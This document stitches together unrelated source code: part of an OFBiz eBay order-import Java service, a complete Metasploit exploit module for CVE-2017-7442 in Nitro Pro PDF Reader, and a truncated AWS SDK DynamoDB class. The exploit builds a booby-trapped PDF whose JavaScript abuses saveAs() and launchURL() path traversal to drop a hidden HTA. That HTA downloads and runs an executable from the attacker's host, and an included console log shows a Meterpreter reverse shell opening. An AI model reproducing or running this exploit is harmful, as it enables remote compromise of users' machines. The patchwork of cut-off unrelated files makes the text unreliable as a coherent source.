                    GenericValue shippingAdjustment = EbayHelper.makeOrderAdjustment(delegator, "MISCELLANEOUS_CHARGE", cart.getOrderId(), null, null, shippingAdditionalCost.doubleValue(), 0.0);
                    if (shippingAdjustment != null) {
                        cart.addAdjustment(shippingAdjustment);
                    }
                }
            }

            // Apply sales tax as order adjustment
            Map<String, Object> shippingDetailsCtx = UtilGenerics.checkMap(context.get("shippingDetailsCtx"));
            if (UtilValidate.isNotEmpty(shippingDetailsCtx.get("salesTaxAmount"))) {
                BigDecimal salesTaxAmount = new BigDecimal(shippingDetailsCtx.get("salesTaxAmount").toString());
                if (salesTaxAmount.doubleValue() > 0) {
                    double salesPercent = 0.0;
                    if (UtilValidate.isNotEmpty(shippingDetailsCtx.get("salesTaxPercent"))) {
                        salesPercent = new Double(shippingDetailsCtx.get("salesTaxPercent").toString()).doubleValue();
                    }
                    GenericValue salesTaxAdjustment = EbayHelper.makeOrderAdjustment(delegator, "SALES_TAX", cart.getOrderId(), null, null, salesTaxAmount.doubleValue(), salesPercent);
                    if (salesTaxAdjustment != null) {
                        cart.addAdjustment(salesTaxAdjustment);
                    }
                }
            }

            Debug.logInfo("Importing new order from eBay", module);
            // set partyId to
            String partyId = null;
            String contactMechId = null;

            Map<String, Object> shippingAddressCtx = UtilGenerics.checkMap(context.get("shippingAddressCtx"));
            if (UtilValidate.isNotEmpty(shippingAddressCtx)) {
                String buyerName = (String) shippingAddressCtx.get("buyerName");
                String firstName = buyerName.substring(0, buyerName.indexOf(" "));
                String lastName = buyerName.substring(buyerName.indexOf(" ")+1);

                String country = (String) shippingAddressCtx.get("shippingAddressCountry");
                String state = (String) shippingAddressCtx.get("shippingAddressStateOrProvince");
                String city = (String) shippingAddressCtx.get("shippingAddressCityName");
                EbayHelper.correctCityStateCountry(dispatcher, shippingAddressCtx, city, state, country);
                String shippingAddressStreet = null;
                if (UtilValidate.isEmpty(shippingAddressCtx.get("shippingAddressStreet1"))) {
                    shippingAddressStreet = shippingAddressCtx.get("shippingAddressStreet").toString();
                    shippingAddressCtx.put("shippingAddressStreet1", shippingAddressStreet);
                } else {
                    shippingAddressStreet = shippingAddressCtx.get("shippingAddressStreet1").toString();
                }

                List<GenericValue> shipInfo = PartyWorker.findMatchingPersonPostalAddresses(delegator, shippingAddressStreet,
                        (UtilValidate.isEmpty(shippingAddressCtx.get("shippingAddressStreet2")) ? null : shippingAddressCtx.get("shippingAddressStreet2").toString()), shippingAddressCtx.get("city").toString(), shippingAddressCtx.get("stateProvinceGeoId").toString(),
                        shippingAddressCtx.get("shippingAddressPostalCode").toString(), null, shippingAddressCtx.get("countryGeoId").toString(), firstName, null, lastName);
                if (UtilValidate.isNotEmpty(shipInfo)) {
                    GenericValue first = EntityUtil.getFirst(shipInfo);
                    partyId = first.getString("partyId");
                    Debug.logInfo("Existing shipping address found for : (party: " + partyId + ")", module);
                }
            }

            // If matching party not found then try to find partyId from PartyAttribute entity.
            GenericValue partyAttribute = null;
            if (UtilValidate.isNotEmpty(context.get("eiasTokenBuyer"))) {
                partyAttribute = EntityQuery.use(delegator).from("PartyAttribute").where("attrValue", (String) context.get("eiasTokenBuyer")).queryFirst();
                if (partyAttribute != null) {
                    partyId = (String) partyAttribute.get("partyId");
                }
            }

            // if we get a party, check its contact information.
            if (UtilValidate.isNotEmpty(partyId)) {
                Debug.logInfo("Found existing party associated to the eBay buyer: " + partyId, module);
                GenericValue party = EntityQuery.use(delegator).from("Party").where("partyId", partyId).queryOne();

                contactMechId = EbayHelper.setShippingAddressContactMech(dispatcher, delegator, party, userLogin, shippingAddressCtx);
                String emailBuyer = (String) context.get("emailBuyer");
                if (!(emailBuyer.equals("") || emailBuyer.equalsIgnoreCase("Invalid Request"))) {
                    EbayHelper.setEmailContactMech(dispatcher, delegator, party, userLogin, context);
                }
                EbayHelper.setPhoneContactMech(dispatcher, delegator, party, userLogin, shippingAddressCtx);
            }

            // create party if none exists already
            if (UtilValidate.isEmpty(partyId)) {
                Debug.logInfo("Creating new party for the eBay buyer.", module);
                partyId = EbayHelper.createCustomerParty(dispatcher, (String) shippingAddressCtx.get("buyerName"), userLogin);
                if (UtilValidate.isEmpty(partyId)) {
                    Debug.logWarning("Using admin party for the eBay buyer.", module);
                    partyId = "admin";
                }
            }

            // create new party's contact information
            if (UtilValidate.isEmpty(contactMechId)) {

                Debug.logInfo("Creating new postal address for party: " + partyId, module);
                contactMechId = EbayHelper.createAddress(dispatcher, partyId, userLogin, "SHIPPING_LOCATION", shippingAddressCtx);
                if (UtilValidate.isEmpty(contactMechId)) {
                    return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "EbayStoreUnableToCreatePostalAddress", locale) + shippingAddressCtx);
                }
                Debug.logInfo("Created postal address: " + contactMechId, module);
                Debug.logInfo("Creating new phone number for party: " + partyId, module);
                EbayHelper.createPartyPhone(dispatcher, partyId, (String) shippingAddressCtx.get("shippingAddressPhone"), userLogin);
                Debug.logInfo("Creating association to eBay buyer for party: " + partyId, module);
                EbayHelper.createEbayCustomer(dispatcher, partyId, (String) context.get("ebayUserIdBuyer"), null, userLogin);
                String emailBuyer = (String) context.get("emailBuyer");
                if (UtilValidate.isNotEmpty(emailBuyer) && !emailBuyer.equalsIgnoreCase("Invalid Request")) {
                    Debug.logInfo("Creating new email for party: " + partyId, module);
                    EbayHelper.createPartyEmail(dispatcher, partyId, emailBuyer, userLogin);
                }
            }

            Debug.logInfo("Setting cart roles for party: " + partyId, module);
            cart.setBillToCustomerPartyId(partyId);
            cart.setPlacingCustomerPartyId(partyId);
            cart.setShipToCustomerPartyId(partyId);
            cart.setEndUserCustomerPartyId(partyId);

            Debug.logInfo("Setting contact mech in cart: " + contactMechId, module);
            cart.setAllShippingContactMechId(contactMechId);
            cart.setAllMaySplit(Boolean.FALSE);

            Debug.logInfo("Setting shipment method: " + (String) shippingServiceSelectedCtx.get("shippingService"), module);
            EbayHelper.setShipmentMethodType(cart, (String) shippingServiceSelectedCtx.get("shippingService"), productStoreId, delegator);
            cart.makeAllShipGroupInfos();

            // create the order
            Debug.logInfo("Creating CheckOutHelper.", module);
            CheckOutHelper checkout = new CheckOutHelper(dispatcher, delegator, cart);
            Debug.logInfo("Creating order.", module);
            Map<?, ?> orderCreate = checkout.createOrder(userLogin);

            if ("error".equals(orderCreate.get("responseMessage"))) {
                List<String> errorMessageList = UtilGenerics.checkList(orderCreate.get("errorMessageList"), String.class);
                return ServiceUtil.returnError(errorMessageList);
            }
            String orderId = (String) orderCreate.get("orderId");
            Debug.logInfo("Created order with id: " + orderId, module);

            // approve the order
            if (UtilValidate.isNotEmpty(orderId)) {
                Debug.logInfo("Approving order with id: " + orderId, module);
                boolean approved = OrderChangeHelper.approveOrder(dispatcher, userLogin, orderId);
                Debug.logInfo("Order approved with result: " + approved, module);

                // create the payment from the preference
                if (approved) {
                    Debug.logInfo("Creating payment for approved order.", module);
                    EbayHelper.createPaymentFromPaymentPreferences(delegator, dispatcher, userLogin, orderId, externalId, cart.getOrderDate(), amountPaid, partyId);
                    Debug.logInfo("Payment created.", module);
                }
                result = ServiceUtil.returnFailure(UtilProperties.getMessage("EbayStoreUiLabels", "EbayOrderCreatedSuccessfully", UtilMisc.toMap("orderId", orderId, "externalId", externalId), locale));
            }
        } catch (Exception e) {
            result = ServiceUtil.returnFailure(e.getMessage());
        }
        return result;
    }

    private static void addItem(ShoppingCart cart, Map<String, Object> orderItem, LocalDispatcher dispatcher, Delegator delegator, int groupIdx) throws GeneralException {
        String productId = orderItem.get("productId").toString();
        GenericValue product = EntityQuery.use(delegator).from("Product").where("productId", productId).queryOne();
        if (UtilValidate.isEmpty(product)) {
            Debug.logError("The product having ID (" + productId + ") is misssing in the system.", module);
        }
        BigDecimal qty = new BigDecimal(orderItem.get("quantity").toString());
        String itemPrice = orderItem.get("transactionPrice").toString();
        if (UtilValidate.isEmpty(itemPrice)) {
            itemPrice = orderItem.get("amount").toString();
        }
        BigDecimal price = new BigDecimal(itemPrice);
        price = price.setScale(ShoppingCart.scale, ShoppingCart.rounding);

        Map<String, Object> attrs = new HashMap<String, Object>();
        attrs.put("shipGroup", groupIdx);

        int idx = cart.addItemToEnd(productId, null, qty, null, null, attrs, null, null, dispatcher, Boolean.FALSE, Boolean.TRUE, Boolean.TRUE, Boolean.TRUE);
        ShoppingCartItem cartItem = cart.findCartItem(idx);
        cartItem.setQuantity(qty, dispatcher, cart, true, false);
        // locate the price verify it matches the expected price
        BigDecimal cartPrice = cartItem.getBasePrice();
        cartPrice = cartPrice.setScale(ShoppingCart.scale, ShoppingCart.rounding);
        if (price.doubleValue() != cartPrice.doubleValue()) {
            // does not match; honor the price but hold the order for manual review
            cartItem.setIsModifiedPrice(true);
            cartItem.setBasePrice(price);
            cart.setHoldOrder(true);
            cart.addInternalOrderNote("Price received [" + price + "] (for item # " + productId + ") from eBay Checkout does not match the price in the database [" + cartPrice + "]. Order is held for manual review.");
        }
        // assign the item to its ship group
        cart.setItemShipGroupQty(cartItem, qty, groupIdx);
    }
}


text:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution',
      'Description'    => %q{
          This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
          PDF Reader version 11. The saveAs() Javascript API function allows for writing
          arbitrary files to the file system. Additionally, the launchURL() function allows
          an attacker to execute local files on the file system and bypass the security dialog

          Note: This is 100% reliable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'mr_me <steven[at]srcincite.io>',         # vulnerability discovery and exploit
        'Brendan Coles <bcoles [at] gmail.com>',  # hidden hta tricks!
        'sinn3r'                                  # help with msf foo!
      ],
      'References'     =>
        [
          [ 'CVE', '2017-7442' ],
          [ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ],           # public advisory #1
          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ],    # public advisory #2 (verified and acquired by SSD)
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => false
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # truly universal
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => 'Jul 24 2017',
      'DefaultTarget'  => 0))

      register_options([
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
      ])
      deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end

  def build_vbs(url, stager_name)
    name_xmlhttp  = rand_text_alpha(2)
    name_adodb    = rand_text_alpha(2)
    vbs           = %Q|<head><hta:application
    applicationname="#{@payload_name}"
    border="none"
    borderstyle="normal"
    caption="false"
    contextmenu="false"
    icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico"
    maximizebutton="false"
    minimizebutton="false"
    navigable="false"
    scroll="false"
    selection="false"
    showintaskbar="No"
    sysmenu="false"
    version="1.0"
    windowstate="Minimize"></head>
    <style>* { visibility: hidden; }</style>
    <script language="VBScript">
    window.resizeTo 1,1
    window.moveTo -2000,-2000
    </script>
    <script type="text/javascript">setTimeout("window.close()", 5000);</script>
    <script language="VBScript">
    On Error Resume Next
    Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
    #{name_xmlhttp}.open "GET","http://#{url}",False
    #{name_xmlhttp}.send
    Set #{name_adodb} = CreateObject("ADODB.Stream")
    #{name_adodb}.Open
    #{name_adodb}.Type=1
    #{name_adodb}.Write #{name_xmlhttp}.responseBody
    #{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2
    set shellobj = CreateObject("wscript.shell")
    shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0
    </script>|
    vbs.gsub!(/    /,'')
    return vbs
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending second stage payload")
      return if ((p=regenerate_payload(cli)) == nil)
      data = generate_payload_exe( {:code=>p.encoded} )
      send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
      return
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @payload_name = rand_text_alpha(4)
    @temp_folder  = "/Windows/Temp"
    register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")
    if datastore['SRVHOST'] == '0.0.0.0'
      lhost = Rex::Socket.source_address('50.50.50.50')
    else
      lhost = datastore['SRVHOST']
    end
    payload_src  = lhost
    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
    stager_name = rand_text_alpha(6) + ".vbs"
    pdf = %Q|%PDF-1.7
    4 0 obj
    <<
    /Length 0
    >>
    stream
    |
    pdf << build_vbs(payload_src, stager_name)
    pdf << %Q|
    endstream endobj
    5 0 obj
    <<
    /Type /Page
    /Parent 2 0 R
    /Contents 4 0 R
    >>
    endobj
    1 0 obj
    <<
    /Type /Catalog
    /Pages 2 0 R
    /OpenAction [ 5 0 R /Fit ]
      /Names <<
        /JavaScript <<
          /Names [ (EmbeddedJS)
            <<
              /S /JavaScript
              /JS (
                    this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
                    app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
              )
            >>
          ]
        >>
      >>
    >>
    endobj
    2 0 obj
    <</Type/Pages/Count 1/Kids [ 5 0 R ]>>
    endobj
    3 0 obj
    <<>>
    endobj
    xref
    0 6
    0000000000 65535 f
    0000000166 00000 n
    0000000244 00000 n
    0000000305 00000 n
    0000000009 00000 n
    0000000058 00000 n
    trailer <<
    /Size 6
    /Root 1 0 R
    >>
    startxref
    327
    %%EOF|
    pdf.gsub!(/    /,'')
    file_create(pdf)
    super
  end
end

=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc
[*] Processing scripts/nitro.rc for ERB directives.
resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi
resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (scripts/nitro.rc)> set LHOST 172.16.175.1
LHOST => 172.16.175.1
resource (scripts/nitro.rc)> exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 172.16.175.1:4444
msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.100.4:8080/
[*] Server started.
[*] 192.168.100.4    nitro_reader_jsapi - Sending second stage payload
[*] Sending stage (957487 bytes) to 172.16.175.232
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500
[+] Deleted C:/Windows/Temp/UOIr.hta

msf exploit(nitro_reader_jsapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2412 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\researcher\Desktop>
=end


text:
package software.amazon.awssdk.enhanced.dynamodb.internal.converter.attribute;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import software.amazon.awssdk.annotations.Immutable;
import software.amazon.awssdk.annotations.SdkInternalApi;
import software.amazon.awssdk.annotations.ThreadSafe;
import software.amazon.awssdk.core.SdkBytes;
import software.amazon.awssdk.core.util.SdkAutoConstructMap;
import software.amazon.awssdk.enhanced.dynamodb.AttributeConverter;
import software.amazon.awssdk.enhanced.dynamodb.AttributeValueType;
import software.amazon.awssdk.enhanced.dynamodb.internal.converter.TypeConvertingVisitor;
import software.amazon.awssdk.services.dynamodb.model.AttributeValue;
import software.amazon.awssdk.utils.ToString;
import software.amazon.awssdk.utils.Validate;

/**
 * A simpler, and more user-friendly version of the generated {@link AttributeValue}.
 *
 *

 * This is a union type of the types exposed by DynamoDB, exactly as they're exposed by DynamoDB.
 *
 *

 * An instance of {@link EnhancedAttributeValue} represents exactly one DynamoDB type, like String (s), Number (n) or Bytes (b).
 * This type can be determined with the {@link #type()} method or the {@code is*} methods like {@link #isString()} or
 * {@link #isNumber()}. Once the type is known, the value can be extracted with {@code as*} methods like {@link #asString()}
 * or {@link #asNumber()}.
 *
 *

 * When converting an {@link EnhancedAttributeValue} into a concrete Java type, it can be tedious to use the {@link #type()} or
 * {@code is*} methods. For this reason, a {@link #convert(TypeConvertingVisitor)} method is provided that exposes a polymorphic
 * way of converting a value into another type.
 *
 *

 * An instance of {@link EnhancedAttributeValue} is created with the {@code from*} methods, like {@link #fromString(String)} or
 * {@link #fromNumber(String)}.
 */
@SdkInternalApi
@ThreadSafe
@Immutable
public final class EnhancedAttributeValue {
    private final AttributeValueType type;
    private final boolean isNull;
    private final Map<String, AttributeValue> mapValue;
    private final String stringValue;
    private final String numberValue;
    private final SdkBytes bytesValue;
    private final Boolean booleanValue;
    private final List<String> setOfStringsValue;
    private final List<String> setOfNumbersValue;
    private final List<SdkBytes> setOfBytesValue;
    private final List<AttributeValue> listOfAttributeValuesValue;

    private EnhancedAttributeValue(InternalBuilder builder) {
        this.type = builder.type;
        this.isNull = builder.isNull;
        this.stringValue = builder.stringValue;
        this.numberValue = builder.numberValue;
        this.bytesValue = builder.bytesValue;
        this.booleanValue = builder.booleanValue;
        this.mapValue = builder.mapValue == null ? null
                                                 : Collections.unmodifiableMap(builder.mapValue);
        this.setOfStringsValue = builder.setOfStringsValue == null
                                 ? null : Collections.unmodifiableList(builder.setOfStringsValue);
        this.setOfNumbersValue = builder.setOfNumbersValue == null
                                 ? null : Collections.unmodifiableList(builder.setOfNumbersValue);
        this.setOfBytesValue = builder.setOfBytesValue == null
                               ? null : Collections.unmodifiableList(builder.setOfBytesValue);
        this.listOfAttributeValuesValue = builder.listOfAttributeValuesValue == null
                                          ? null : Collections.unmodifiableList(builder.listOfAttributeValuesValue);
    }

    /**
     * Create an {@link EnhancedAttributeValue} for the null DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().nul(true).build())}
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public static EnhancedAttributeValue nullValue() {
        return new InternalBuilder().isNull().build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a map (m) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().m(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided map is null or has null keys.
     */
    public static EnhancedAttributeValue fromMap(Map<String, AttributeValue> mapValue) {
        Validate.paramNotNull(mapValue, "mapValue");
        Validate.noNullElements(mapValue.keySet(), "Map must not have null keys.");
        return new InternalBuilder().mapValue(mapValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a string (s) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().s(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null. Use {@link #nullValue()} for
     * null values.
     */
    public static EnhancedAttributeValue fromString(String stringValue) {
        Validate.paramNotNull(stringValue, "stringValue");
        return new InternalBuilder().stringValue(stringValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a number (n) DynamoDB type.
     *
     *

     * This is a String, because it matches the underlying DynamoDB representation.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().n(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null. Use {@link #nullValue()} for
     * null values.
     */
    public static EnhancedAttributeValue fromNumber(String numberValue) {
        Validate.paramNotNull(numberValue, "numberValue");
        return new InternalBuilder().numberValue(numberValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a bytes (b) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().b(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null. Use {@link #nullValue()} for
     * null values.
     */
    public static EnhancedAttributeValue fromBytes(SdkBytes bytesValue) {
        Validate.paramNotNull(bytesValue, "bytesValue");
        return new InternalBuilder().bytesValue(bytesValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a boolean (bool) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().bool(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null. Use {@link #nullValue()} for
     * null values.
     */
    public static EnhancedAttributeValue fromBoolean(Boolean booleanValue) {
        Validate.paramNotNull(booleanValue, "booleanValue");
        return new InternalBuilder().booleanValue(booleanValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-strings (ss) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().ss(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfStrings(String... setOfStringsValue) {
        Validate.paramNotNull(setOfStringsValue, "setOfStringsValue");
        return fromSetOfStrings(Arrays.asList(setOfStringsValue));
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-strings (ss) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().ss(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfStrings(Collection<String> setOfStringsValue) {
        Validate.paramNotNull(setOfStringsValue, "setOfStringsValue");
        return fromSetOfStrings(new ArrayList<>(setOfStringsValue));
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-strings (ss) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().ss(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfStrings(List<String> setOfStringsValue) {
        Validate.paramNotNull(setOfStringsValue, "setOfStringsValue");
        Validate.noNullElements(setOfStringsValue, "Set must not have null values.");
        return new InternalBuilder().setOfStringsValue(setOfStringsValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-numbers (ns) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().ns(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfNumbers(String... setOfNumbersValue) {
        Validate.paramNotNull(setOfNumbersValue, "setOfNumbersValue");
        return fromSetOfNumbers(Arrays.asList(setOfNumbersValue));
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-numbers (ns) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().ns(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfNumbers(Collection<String> setOfNumbersValue) {
        Validate.paramNotNull(setOfNumbersValue, "setOfNumbersValue");
        return fromSetOfNumbers(new ArrayList<>(setOfNumbersValue));
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-numbers (ns) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().ns(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfNumbers(List<String> setOfNumbersValue) {
        Validate.paramNotNull(setOfNumbersValue, "setOfNumbersValue");
        Validate.noNullElements(setOfNumbersValue, "Set must not have null values.");
        return new InternalBuilder().setOfNumbersValue(setOfNumbersValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-bytes (bs) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().bs(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfBytes(Collection<SdkBytes> setOfBytesValue) {
        Validate.paramNotNull(setOfBytesValue, "setOfBytesValue");
        return fromSetOfBytes(new ArrayList<>(setOfBytesValue));
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-bytes (bs) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().bs(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfBytes(SdkBytes... setOfBytesValue) {
        Validate.paramNotNull(setOfBytesValue, "setOfBytesValue");
        return fromSetOfBytes(Arrays.asList(setOfBytesValue));
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a set-of-bytes (bs) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().bs(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #fromListOfAttributeValues(List)} for null values. This will not validate that there are no
     * duplicate values.
     */
    public static EnhancedAttributeValue fromSetOfBytes(List<SdkBytes> setOfBytesValue) {
        Validate.paramNotNull(setOfBytesValue, "setOfBytesValue");
        Validate.noNullElements(setOfBytesValue, "Set must not have null values.");
        return new InternalBuilder().setOfBytesValue(setOfBytesValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a list-of-attributes (l) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().l(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #nullValue()} for null values.
     */
    public static EnhancedAttributeValue fromListOfAttributeValues(AttributeValue... listOfAttributeValuesValue) {
        Validate.paramNotNull(listOfAttributeValuesValue, "listOfAttributeValuesValue");
        return fromListOfAttributeValues(Arrays.asList(listOfAttributeValuesValue));
    }

    /**
     * Create an {@link EnhancedAttributeValue} for a list-of-attributes (l) DynamoDB type.
     *
     *

     * Equivalent to: {@code EnhancedAttributeValue.fromGeneratedAttributeValue(AttributeValue.builder().l(...).build())}
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null or contains a null value. Use
     * {@link #nullValue()} for null values.
     */
    public static EnhancedAttributeValue fromListOfAttributeValues(List<AttributeValue> listOfAttributeValuesValue) {
        Validate.paramNotNull(listOfAttributeValuesValue, "listOfAttributeValuesValue");
        Validate.noNullElements(listOfAttributeValuesValue, "List must not have null values.");
        return new InternalBuilder().listOfAttributeValuesValue(listOfAttributeValuesValue).build();
    }

    /**
     * Create an {@link EnhancedAttributeValue} from a generated {@link AttributeValue}.
     *
     *

     * This call will fail with a {@link RuntimeException} if the provided value is null ({@link AttributeValue#nul()} is okay).
     */
    public static EnhancedAttributeValue fromAttributeValue(AttributeValue attributeValue) {
        Validate.notNull(attributeValue, "Generated attribute value must not contain null values. " +
                                         "Use AttributeValue#nul() instead.");
        if (attributeValue.s() != null) {
            return EnhancedAttributeValue.fromString(attributeValue.s());
        }
        if (attributeValue.n() != null) {
            return EnhancedAttributeValue.fromNumber(attributeValue.n());
        }
        if (attributeValue.bool() != null) {
            return EnhancedAttributeValue.fromBoolean(attributeValue.bool());
        }
        if (Boolean.TRUE.equals(attributeValue.nul())) {
            return EnhancedAttributeValue.nullValue();
        }
        if (attributeValue.b() != null) {
            return EnhancedAttributeValue.fromBytes(attributeValue.b());
        }
        if (attributeValue.hasM()) {
            return EnhancedAttributeValue.fromMap(attributeValue.m());
        }
        if (attributeValue.hasL()) {
            return EnhancedAttributeValue.fromListOfAttributeValues(attributeValue.l());
        }
        if (attributeValue.hasBs()) {
            return EnhancedAttributeValue.fromSetOfBytes(attributeValue.bs());
        }
        if (attributeValue.hasSs()) {
            return EnhancedAttributeValue.fromSetOfStrings(attributeValue.ss());
        }
        if (attributeValue.hasNs()) {
            return EnhancedAttributeValue.fromSetOfNumbers(attributeValue.ns());
        }

        throw new IllegalStateException("Unable to convert attribute value: " + attributeValue);
    }

    /**
     * Retrieve the underlying DynamoDB type of this value, such as String (s) or Number (n).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public AttributeValueType type() {
        return type;
    }

    /**
     * Apply the provided visitor to this item attribute value, converting it into a specific type. This is useful in
     * {@link AttributeConverter} implementations, without having to write a switch statement on the {@link #type()}.
     *
     *

